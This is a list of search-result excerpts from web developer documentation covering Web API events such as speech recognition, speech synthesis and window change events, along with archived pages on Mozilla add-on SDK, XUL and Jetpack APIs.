... bubbles no cancelable no interface event event handler ondevicechange example you can use the devicechange event in an addeventlistener method: navigator.mediadevices.addeventlistener('devicechange', function(event) { updatedevicelist(); }); or use the ondevicechange event handler property: navigator.mediadevices.ondevicechange = function(event) { updatedevicelist(); } specifications specification status media capture and streamsthe definition of 'devicechange' in that specification.
MouseEvent.which - Web APIs
WebAPIMouseEventwhich
the mouseevent.which read-only property indicates which button was pressed on the mouse to trigger the event.
... syntax var buttonpressed = instanceofmouseevent.which return value a number representing a given button: 0: no button 1: left button 2: middle button (if present) 3: right button for a mouse configured for left-handed use, the button actions are reversed.
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
the read-only voiceactivityflag property of the rtcrtpsynchronizationsource interface indicates whether or not the most recent rtp packet on the source includes voice activity.
... syntax var voiceactivity = rtcrtpsynchronizationsource.voiceactivityflag value a boolean value which is true if voice activity is present in the most recently received rtp packet played by the associated source, or false if voice activity is not present.
SpeechRecognition: audioend event - Web APIs
the audioend event of the web speech api is fired when the user agent has finished capturing audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudioend examples you can use the audioend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: audiostart event - Web APIs
the audiostart event of the web speech api is fired when the user agent has started to capture audio for speech recognition.
... bubbles no cancelable no interface event event handler onaudiostart examples you can use the audiostart event in an onaudiostart method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: end event - Web APIs
the end event of the web speech api speechrecognition object is fired when the speech recognition service has disconnected.
... bubbles no cancelable no interface event event handler property onend examples you can use the end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: error event - Web APIs
the error event of the web speech api speechrecognition object is fired when a speech recognition error occurs.
... bubbles no cancelable no interface speechrecognitionerrorevent event handler property onerror examples you can use the error event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('error', function(event) { console.log('speech recognition error detected: ' + event.error'); }); or use the onerror event handler property: recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.onaudioend - Web APIs
the onaudioend property of the speechrecognition interface represents an event handler that will run when the user agent has finished capturing audio (when the audioend event fires.) syntax myspeechrecognition.onaudioend = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification.
SpeechRecognition.onaudiostart - Web APIs
the onaudiostart property of the speechrecognition interface represents an event handler that will run when the user agent has started to capture audio (when the audiostart event fires.) syntax myspeechrecognition.onaudiostart = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification.
SpeechRecognition.onend - Web APIs
the onend property of the speechrecognition interface represents an event handler that will run when the speech recognition service has disconnected (when the end event fires.) syntax myspeechrecognition.onend = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechRecognition.onerror - Web APIs
the onerror property of the speechrecognition interface represents an event handler that will run when a speech recognition error occurs (when the error event fires.) syntax myspeechrecognition.onerror = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognition.onsoundend - Web APIs
the onsoundend property of the speechrecognition interface represents an event handler that will run when any sound — recognisable speech or not — has stopped being detected (when the soundend event fires.) syntax myspeechrecognition.onsoundend = function() { ...
... }; examples recognition.onsoundend = function() { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'onsoundend' in that specification.
SpeechRecognition.onsoundstart - Web APIs
the onsoundstart property of the speechrecognition interface represents an event handler that will run when any sound — recognisable speech or not — has been detected (when the soundstart event fires.) syntax myspeechrecognition.onsoundstart = function() { ...
... }; examples recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'onsoundstart' in that specification.
SpeechRecognition.onstart - Web APIs
the onstart property of the speechrecognition interface represents an event handler that will run when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition (when the start event fires.) syntax myspeechrecognition.onstart = function() { ...
... }; examples recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples this code is excerpted from our speech color changer example.
... you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundend event - Web APIs
the soundend event of the web speech api is fired when any sound — recognisable speech or not — has stopped being detected.
... bubbles no cancelable no interface event event handler property onsoundend examples you can use the soundend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: soundstart event - Web APIs
the soundstart event of the web speech api is fired when any sound — recognisable speech or not — has been detected.
... bubbles no cancelable no interface event event handler property onsoundstart examples you can use the soundstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition: start event - Web APIs
the start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... bubbles no cancelable no interface event event handler property onstart examples you can use the start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognitionErrorEvent.message - Web APIs
the message read-only property of the speechrecognitionerrorevent interface returns a message describing the error in more detail.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionEvent.emma - Web APIs
the emma read-only property of the speechrecognitionevent interface returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
...if the speech recognition system does not supply emma data then the user agent will return null.
SpeechRecognitionEvent.interpretation - Web APIs
the interpretation read-only property of the speechrecognitionevent interface returns the semantic meaning of what the user said.
... this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation = event.interpretation; value the returned value can be of any type.
SpeechSynthesisEvent.elapsedTime - Web APIs
the elapsedtime read-only property of the speechsynthesisutterance interface returns the elapsed time in seconds after the speechsynthesisutterance.text started being spoken that the event was triggered at.
... examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.name - Web APIs
the name read-only property of the speechsynthesisutterance interface returns the name associated with certain types of events occuring as the speechsynthesisutterance.text is being spoken: the name of the ssml marker reached in the case of a mark event, or the type of boundary reached in the case of a boundary event.
... examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisUtterance: boundary event - Web APIs
the boundary event of the web speech api is fired when the spoken utterance reaches a word or sentence boundary.
... bubbles no cancelable no interface speechsynthesisevent event handler onboundary examples you can use the boundary event in an addeventlistener method: utterthis.addeventlistener('boundary', function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); }); or use the onboundary event handler property: utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: end event - Web APIs
the end event of the web speech api speechsynthesisutterance object is fired when the utterance has finished being spoken.
... bubbles no cancelable no interface speechsynthesisevent event handler property onend examples you can use the end event in an addeventlistener method: utterthis.addeventlistener('end', function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); }); or use the onend event handler property: utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: error event - Web APIs
the error event of the web speech api speechsynthesisutterance object is fired when an error occurs that prevents the utterance from being succesfully spoken.
... bubbles no cancelable no interface speechsynthesiserrorevent event handler property onerror examples you can use the error event in an addeventlistener method: utterthis.addeventlistener('error', function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); }); or use the onerror event handler property: utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
the mark event of the web speech api speechsynthesisutterance object is fired when the spoken utterance reaches a named ssml "mark" tag.
... bubbles no cancelable no interface speechsynthesisevent event handler property onmark examples you can use the mark event in an addeventlistener method: utterthis.addeventlistener('mark', function(event) { console.log('a mark was reached: ' + event.name); }); or use the onmark event handler property: utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: pause event - Web APIs
the pause event of the web speech api speechsynthesisutterance object is fired when the utterance is paused part way through.
... bubbles no cancelable no interface speechsynthesisevent event handler property onpause examples you can use the pause event in an addeventlistener method: utterthis.addeventlistener('pause', function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); }); or use the onpause event handler property: utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: resume event - Web APIs
the resume event of the web speech api speechsynthesisutterance object is fired when a paused utterance is resumed.
... bubbles no cancelable no interface speechsynthesisevent event handler property onresume examples you can use the resume event in an addeventlistener method: utterthis.addeventlistener('resume', function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); }); or use the onresume event handler property: utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
SpeechSynthesisUtterance: start event - Web APIs
the start event of the web speech api speechsynthesisutterance object is fired when the utterance has begun to be spoken.
... bubbles no cancelable no interface speechsynthesisevent event handler property onstart examples you can use the start event in an addeventlistener method: utterthis.addeventlistener('start', function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); }); or use the onstart event handler property: utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } specifications specification status comment web speech apithe definition of 'speech synthesis utterance events' in that specification.
TextTrackList: change event - Web APIs
the change event is fired when a text track is made active or inactive, or a texttracklist is otherwise changed.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const mediaelement = document.queryselectorall('video, audio')[0]; mediaelement.texttracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); using the onchange event handler property: const mediaelement = document.queryselector('video, audio'); mediaelement.texttracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; specifications specification status html living standardthe definition of 'change' in that specification.
Window: clipboardchange event - Web APIs
the clipboardchange event fires when the system clipboard content changes.
... bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
Window: hashchange event - Web APIs
the hashchange event is fired when the fragment identifier of the url has changed (the part of the url beginning with and following the # symbol).
... bubbles yes cancelable no interface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'hashchange' in that specification.
Window: languagechange event - Web APIs
the languagechange event is fired at the global scope object when the user's preferred language changes.
... bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: window.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
Window: orientationchange event - Web APIs
the orientationchange event is fired when the orientation of the device has changed.
... bubbles no cancelable no interface event event handler onorientationchange example you can use the orientationchange event in an addeventlistener method: window.addeventlistener("orientationchange", function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that specification.
WorkerGlobalScope: languagechange event - Web APIs
the languagechange event is fired at the global scope object when the user's preferred language changes.
... bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: worker.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: worker.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
ARIA Technique Template - Accessibility
description possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
... examples example 1: code working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources ...
CSS Charsets - CSS: Cascading Style Sheets
css charsets is a module of css that lets you specify the character set used in the style sheet.
... reference at-rules @charset specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
touchstart - Event reference
the touchstart event is fired when one or more touch points are placed on the touch surface.
... element: touchstart document: touchstart bubbles yes cancelable yes interface touchevent event handler property ontouchstart specifications specification status touch events recommendation ...
Link types: prefetch - HTML: Hypertext Markup Language
the prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource.
... specifications specification status comment html living standardthe definition of 'prefetch' in that specification.
Sec-Fetch-Mode - HTTP
the sec-fetch-mode fetch metadata header indicates the request's mode.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-mode: cors sec-fetch-mode: navigate sec-fetch-mode: nested-navigate sec-fetch-mode: no-cors sec-fetch-mode: same-origin sec-fetch-mode: websocket values cors navigate nested-navigate no-cors same-origin websocket examples todo specifications specification title fetch metadata request headers the sec-fetch-mode http request header ...
Web API reference - Web technology reference
WebReferenceAPI
these can be accessed using javascript code, and let you do anything from making minor adjustments to any window or element, to generating intricate graphical and audio effects using apis such as webgl and web audio.
... each individual interface across all apis is listed in the index.
Navigator.mozNotification - Archive of obsolete content
mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) provides support for creating notification objects, which are used to display desktop notification alerts to the user.
Navigator - Archive of obsolete content
navigator.moznotificationprovides support for creating notification objects, which are used to display desktop notification alerts to the user.
API - Archive of obsolete content
archived documentation about obsolete web standards apis.
Program ID - Archive of obsolete content
for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
notifications - Archive of obsolete content
if the user's system does not support desktop notifications or if its notifications service is not running: if firefox was started normally, notifications are logged to firefox's error console if the user launched firefox from the command line, notifications are logged to the terminal.
console/traceback - Archive of obsolete content
the stack is represented as an array in which the most recent stack frame is the last element; each element thus represents a stack frame and has the following keys: filename the name of the file that the stack frame takes place in.
content/content - Archive of obsolete content
these objects are used in the internal implementations of sdk modules which use content scripts to interact with web content, such as the panel or page-mod modules.
places/favicon - Archive of obsolete content
the platform service (moziasyncfavicons) retrieves favicon data stored from previously visited sites, and as such, will only return favicon urls for visited sites.
stylesheet/style - Archive of obsolete content
the style created can be applied to a content by calling attach, and removed using detach.
stylesheet/utils - Archive of obsolete content
globals functions loadsheet(window, uri, type) synchronously loads a style sheet from uri and adds it to the list of additional style sheets of the document.
system/environment - Archive of obsolete content
usage var { env } = require('sdk/system/environment'); you can get the value of an environment variable, by accessing the property with the name of the desired variable: var path = env.path; you can check for the existence of an environment variable by checking whether a property with that variable name exists: console.log('path' in env); // true console.log('foo' in env); // false you can set the value of an environment variable by setting the property: env.foo = 'foo'; env.path += ':/my/path/' you can unset an environment variable by deleting the property: delete env.foo; limitations there is no way to enumerate existing environment variables, also env won't have any enumerable properties: console.log(object.keys(env)); // [] e...
system/runtime - Archive of obsolete content
processtype the type of the caller's process, which will be one of these constants: constant value description process_type_default 0 the default (chrome) process.
tabs/utils - Archive of obsolete content
parameters window : window the browser window in which to open the tab.
test/runner - Archive of obsolete content
this module contains the package's main program, which does a bit of high-level setup and then delegates test finding and running to the harness module.
util/deprecate - Archive of obsolete content
this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release.
util/list - Archive of obsolete content
examples: var { list } = require("sdk/util/list"); var mylist = list.compose({ add: function add(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._add.bind(this)); }, remove: function remove(item1, item2, /*item3...*/) { array.slice(arguments).foreach(this._remove.bind(this)); } }); mylist('foo', 'bar', 'baz').length == 3; // true new mylist('new', 'keyword').length == 2; // true mylist.apply(null, [1, 2, 3]).length == 3; // true let list = mylist(); list.length == 0; // true l...
util/uuid - Archive of obsolete content
parameters stringid : string string representation of a uuid, such as: "8cbc9bf4-4a16-11e2-aef7-c1a56188709b" optional.
jpmignore - Archive of obsolete content
by using this file you can let jpm know which files and directories you would like it to ignore when building a .xpi file with jpm xpi.
Listening for Load and Unload - Archive of obsolete content
exports.main = function (options, callbacks) {}; options is an object describing the parameters with which your add-on was loaded.
Logging - Archive of obsolete content
the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used.
Autocomplete - Archive of obsolete content
see also textbox (toolkit autocomplete) how to implement custom autocomplete search component ...
Cookies - Archive of obsolete content
reading existing cookies cookies for a given host, represented as nsicookie2 objects, can be enumerated as such: let enum = services.cookies.getcookiesfromhost("example.com"); while (enum.hasmoreelements()) { var cookie = enum.getnext().queryinterface(ci.nsicookie2); dump(cookie.host + ";" + cookie.name + "=" + cookie.value + "\n"); } all cookies, regardless of host, can be enumerated using services.cookies.enumerator rather than getcookiesfromhost().
Drag & Drop - Archive of obsolete content
ns.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function chec...
Embedding SVG - Archive of obsolete content
xlink"> <body> <p>hello</p> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <p>world</p> </body> </html> embedding into xul make sure you use the right namespace when embedding <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- xul and svg go here --> </window> example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keyma...
IsDefaultNamespace - Archive of obsolete content
// http://www.w3.org/tr/dom-level-3-core/core.html#node3-isdefaultnamespace // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } if (node.attributes.length) { for (var i=0; i < node.attributes.length; i++) { var att = node.attributes[i]; if (att.localname === 'xmlns') { return ...
Modules - Archive of obsolete content
the use of eval() will probably not be of concern because it is only being used on the exported_symbols array which should not depend on user input.
Page Loading - Archive of obsolete content
page loading on page load how to execute code each time a new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
Post data to window - Archive of obsolete content
posting data to the current tab there is a convenience method in global scope (in firefox, chrome://browser/content/browser.js): loaduri(auri, areferrer, apostdata, aallowthirdpartyfixup); posting data to a new window window.opendialog('chrome://browser/content', '_blank', 'all,dialog=no', auri, aflags, areferrer, apostdata); ...
SVG General - Archive of obsolete content
svg image also requires the use of xlink for the href attribute, which can be tricky to remember, especially when you're mixing svg with html or xul.
Delayed Execution - Archive of obsolete content
queuing a task in the main event loop when a task needs to be only briefly delayed, such that it runs after the current call chain returns, it can be added directly to the main thread's event queue rather than scheduled as a timeout: function executesoon(func) { services.tm.mainthread.dispatch(func, ci.nsithread.dispatch_normal); } using nsitimers to schedule tasks in instances where settimeout() and setinterval() are unavailable, or insufficient, tasks can be scheduled with delays using nsitimer instances.
Toolbar - Archive of obsolete content
these elements have special behaviors when placed next to eachother, and will break if separated by another element.
Legacy Add-ons - Archive of obsolete content
this section contains links to documentation for legacy technology for add-on development, including: add-on sdk legacy extensions for firefox for android earlier technology bootstrapped extensions overlay extensions ...
License and authors - Archive of obsolete content
original authors: hideyuki emura hiroshi "piro" shimoda taiga gomibuchi taro matsuzawa yutaka kachi contributors: sonny piers julia buchner ...
Events - Archive of obsolete content
archived event pages domsubtreemodifiedmozaudioavailablemozbeforeresizemozorientationcachedchargingchangechargingtimechangecheckingdischargingtimechangedownloadingerrorlevelchangenoupdateobsoleteprogressupdateready ...
Makefile - .mk files - Archive of obsolete content
makefile description client.mk top level makefile which controls the overall build config/android-common.m config/autoconf.mk config/rules.mk targets (export, deps, libs, tools) and generic build rules config/static-checking-config.mk config/version.mk makefile description config/myconfig.mk user defined build configuration values config/myrules.mk user defined makefile rules for building $(topsrcdir)/$(moz_build_app)/app-config.mk application specific build configuration ...
Misc top level - Archive of obsolete content
back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin.
Other Mozilla customization pages - Archive of obsolete content
other mozilla customization pages mcd, mission control desktop aka autoconfig pre-configuring mozilla mozexec, a mozilla launcher that writes a registry.bat before launching mozilla (contributed by petr kristan) mozptch: the main difference of the mozptch approach is, not to patch the registry.dat, but to create a new one with mozillas comandline option -createprofile.
Automatic Mozilla Configurator - Archive of obsolete content
automatic mozilla configurator:introduction automatic mozilla configurator:how mozilla finds its configuration files automatic mozilla configurator:how thunderbird and firefox find their configuration files automatic mozilla configurator:protecting mozilla's registry.dat file automatic mozilla configurator:enabling quicklaunch for all users automatic mozilla configurator:kill the xul.mfl file for good automatic mozilla configurator:locked config settings automatic mozilla configurator:other mozilla customization pages online configurator tools: registry.dat mozilla.cfg (locked preferences) ...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
to make it work we have to add javascript code that changes its status when the tinderbox status changes.
Creating a Mozilla Extension - Archive of obsolete content
a mozilla extension is an installable enhancement to the mozilla browser that provides additional functionality (for example linky, which adds an item to the context menu for opening multiple links in a document or selection).
toolbarBindings.xml - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "toolbarbindings.xml": <bindings id="toolbarbindings"> <binding id="toolbar-primary" extends="chrome://global/content/bindings/toolbar.xml#toolbar-primary"> <content> <xul:hbox class="toolbar-holder toolbar-primary-holder" flex="1" xbl:inherits="orient=tborient,buttonstyle"> <xul:hbox class="toolbar-button-box" flex="1"> <children/> </xul:hbox> <xul:image class="toolbar-primary-icon" xbl:inherits="buttonstyle"/> </xul:hbox> </content> </binding> </bindings> ...
DTrace - Archive of obsolete content
dtrace has been largely supplanted by the gecko profiler and other tools, so this documentation has been archived.
Fast Graphics Performance With HTML - Archive of obsolete content
use <div style="overflow:scroll><div style="background:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
Disabling interruptible reflow - Archive of obsolete content
add the following variables to your environment to disable gecko interruptible reflow: gecko_reflow_interrupt_mode=counter gecko_reflow_interrupt_frequency=1000000 gecko_reflow_interrupt_checks_to_skip=1000000 now start firefox within this environment.
JSS build instructions for OSX 10.6 - Archive of obsolete content
cvs login cvs co -r nspr_4_8_7_rtm nspr cvs co -r nss_3_12_9_with_ckbi_1_82_rtm nss cvs co -r jss_4_3_2_rtm jss build nss for 32 and 64: cd mozilla/security/nss make nss_build_all cc="gcc -arch i386" ccc="g++ -arch i386" make nss_build_all use_64=1 build jss for 32 and 64: cd ../jss make cc="gcc -arch i386" ccc="g++ -arch i386" make use_64=1 on osx, java.library.path doesnt seem to have /usr/lib or other paths.
Firefox - Archive of obsolete content
this usage may change.
Help Viewer - Archive of obsolete content
help viewer project page articles & tutorials creating a help content pack task-oriented, as opposed to spec-type stuff like the link below will be other resources content pack specification a technical description of it, meant primarily to solidify the idea of exactly what constitutes a content pack ...
CRMF Request object - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
Page modifications - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Content - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Libraries - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
First run - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Meta - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
File access - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Storage - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Clipboard Test - Archive of obsolete content
the namespace associated with this api is jetpack.clipboard which provides both read and write access to the clipboard.
System information - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Notifications - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
Panel - Archive of obsolete content
ArchiveMozillaJetpackUIPanel
note: this page documents the jetpack prototype, which is no longer under active development.
Selection - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development.
statusBar - Archive of obsolete content
syntax jetpack.statusbar.append(options); possible options are: url width (string/length) the width of the panel-item html (string) the html code which will be used inside the item onload (event) this event fires when the item was appended.
Mac OS X Build Prerequisites/fink - Archive of obsolete content
if you perform a major operating system upgrade on your computer, such as an upgrade from tiger to leopard, you should remove the /sw directory and re-install fink and the packages below.
NSC_SetPIN - Archive of obsolete content
syntax ck_rv nsc_setpin( ck_session_handle hsession, ck_char_ptr poldpin, ck_ulong uloldlen, ck_char_ptr pnewpin, ck_ulong ulnewlen ); parameters nsc_setpin takes five parameters: hsession [input] poldpin [input] .
Plug-n-Hack Phase2 - Archive of obsolete content
if you are interested in working on this aspect then please get in touch.
BlogPosts - Archive of obsolete content
ok distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
Rsyncing the CVS Repository - Archive of obsolete content
optionally, the --progress option will show the progress for each file, and a percentage of the total files that are transferred.
SXSW 2007 presentations - Archive of obsolete content
the open web - brendan eich brendan eich discusses the various issues related to the openness of the web and web standards, and explains mozilla's position on the subject.
Standalone XPCOM - Archive of obsolete content
./nstestsample: error in loading shared libraries: libxpcom.so: cannot open shared object file: no such file or directory ld_library_path not set.
